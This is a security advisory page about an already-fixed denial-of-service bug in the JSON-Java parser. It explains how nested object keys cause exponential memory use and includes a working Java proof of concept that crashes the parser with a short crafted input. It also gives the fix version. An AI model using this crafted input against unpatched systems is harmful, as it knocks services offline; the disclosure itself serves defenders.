Advisory Published


First published: Tue Nov 14 2023(Updated: )

### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz]( A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR]( ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

Affected SoftwareAffected VersionHow to fix

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the vulnerability ID?

    The vulnerability ID is GHSA-4jq9-2xhw-jpx7.

  • What is the summary of the vulnerability?

    The vulnerability is a denial of service vulnerability in JSON-Java where an input string of modest size can lead to indefinite amounts of memory being used.

  • Who discovered this vulnerability?

    The vulnerability was discovered by ClusterFuzz.

  • How can this vulnerability be exploited?

    This vulnerability can be exploited by providing a certain input string to the JSON-Java parser.

  • How can I fix this vulnerability?

    To fix this vulnerability, update the JSON-Java library to version 20231013 or higher.


SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203